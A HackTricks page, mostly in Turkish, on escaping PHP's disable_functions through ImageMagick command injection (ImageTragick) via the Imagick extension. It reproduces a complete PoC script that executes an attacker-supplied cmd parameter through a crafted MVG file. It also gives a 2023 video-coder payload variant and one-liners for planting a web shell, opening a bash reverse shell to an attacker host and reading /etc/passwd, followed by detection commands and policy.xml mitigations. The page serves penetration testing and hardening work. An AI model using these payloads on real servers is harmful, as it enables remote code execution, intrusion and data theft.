Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass

Reading time: 5 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

İyi bilinen ImageTragick hata ailesi (CVE-2016-3714 ve diğerleri), bir saldırganın hazırlanmış MVG/SVG girişi aracılığıyla temel ImageMagick ikili dosyasına ulaşmasına olanak tanır. PHP uzantısı Imagick mevcut olduğunda, bu, her yürütme odaklı PHP fonksiyonu disable_functions ile kara listeye alınsa bile, shell komutlarını çalıştırmak için kötüye kullanılabilir.

RicterZ (Chaitin Security Research Lab) tarafından Mayıs 2016'da yayınlanan orijinal PoC aşağıda yeniden üretilmiştir. Bu teknik, birçok paylaşımlı barındırma sağlayıcısının PHP'yi exec/system olmadan derlemesi ancak eski bir Imagick + ImageMagick kombinasyonunu koruması nedeniyle, güncel PHP 7/8 denetimleri sırasında hala düzenli olarak karşılaşılmaktadır.

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

php
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ  (ricter@chaitin.com)
# Versions      : Imagick <= 3.3.0  |  PHP >= 5.4
# Tested on     : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage         : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);

$tmp   = tempnam('/tmp', 'pwn');     // will hold command output
$mvgs  = tempnam('/tmp', 'img');     // will hold malicious MVG script

$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;

file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs);     // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();

echo file_get_contents($tmp);
?>

Neden çalışıyor?

  1. Imagick::readImage() şeffaf bir şekilde ImageMagick delegate (convert/magick) ikili dosyasını başlatır.
  2. MVG scripti fill değerini harici bir URI olarak ayarlar. Bir çift tırnak (") enjekte edildiğinde, satırın geri kalanı ImageMagick'in dahili olarak kullandığı /bin/sh ‑c tarafından yorumlanır → keyfi shell yürütmesi.
  3. Tüm bunlar PHP yorumlayıcısının dışında gerçekleşir, bu nedenle disable_functions, open_basedir, safe_mode (PHP 5.4'te kaldırıldı) ve benzeri işlem içi kısıtlamalar tamamen aşılmıştır.

2025 durumu – hala geçerli

  • Zayıf bir ImageMagick arka ucu kullanan herhangi bir Imagick sürümü istismar edilebilir. Laboratuvar testlerinde aynı yük PHP 8.3 ile Imagick 3.7.0 ve ImageMagick 7.1.0-51 üzerinde, sertleştirilmemiş bir policy.xml ile çalışmaktadır.
  • 2020'den bu yana birkaç ek komut-enjeksiyon vektörü bulunmuştur (video:pixel-format, ps:, text: kodlayıcıları…). İki son kamu örneği:
  • CVE-2020-29599text: kodlayıcı aracılığıyla shell enjeksiyonu.
  • GitHub issue #6338 (2023) – video: delegate'de enjeksiyon.

Eğer işletim sistemi ImageMagick < 7.1.1-11 (veya 6.x < 6.9.12-73) kısıtlayıcı bir politika dosyası olmadan gönderiyorsa, istismar oldukça basittir.

Modern yük varyantları

php
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);

CTF'ler / gerçek angajmanlar sırasında diğer yararlı ilkel:

  • Dosya yazma... > /var/www/html/shell.php (open_basedir dışında web-shell yazma)
  • Ters shellbash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
  • Sıralamaid; uname -a; cat /etc/passwd

Hızlı tespit & sıralama

bash
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'

# System side
convert -version | head -1                 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text'   # dangerous coders still enabled?

Eğer çıktı MVG veya URL kodlayıcılarının etkin olduğunu gösteriyorsa, hedef muhtemelen istismar edilebilir.

Mitigations

  1. Patch/Upgrade – ImageMagick ≥ 7.1.1-11 (veya en son 6.x LTS) ve Imagick ≥ 3.7.2 kullanın.
  2. Harden policy.xml – yüksek riskli kodlayıcıları açıkça devre dışı bırakın:
xml
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
  1. Remove the extension güvenilir olmayan barındırma ortamlarında. Çoğu web yığını için GD veya Imagick kesinlikle gerekli değildir.
  2. disable_functions'ı yalnızca defence-in-depth olarak değerlendirin – asla birincil bir sandboxing mekanizması olarak değil.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin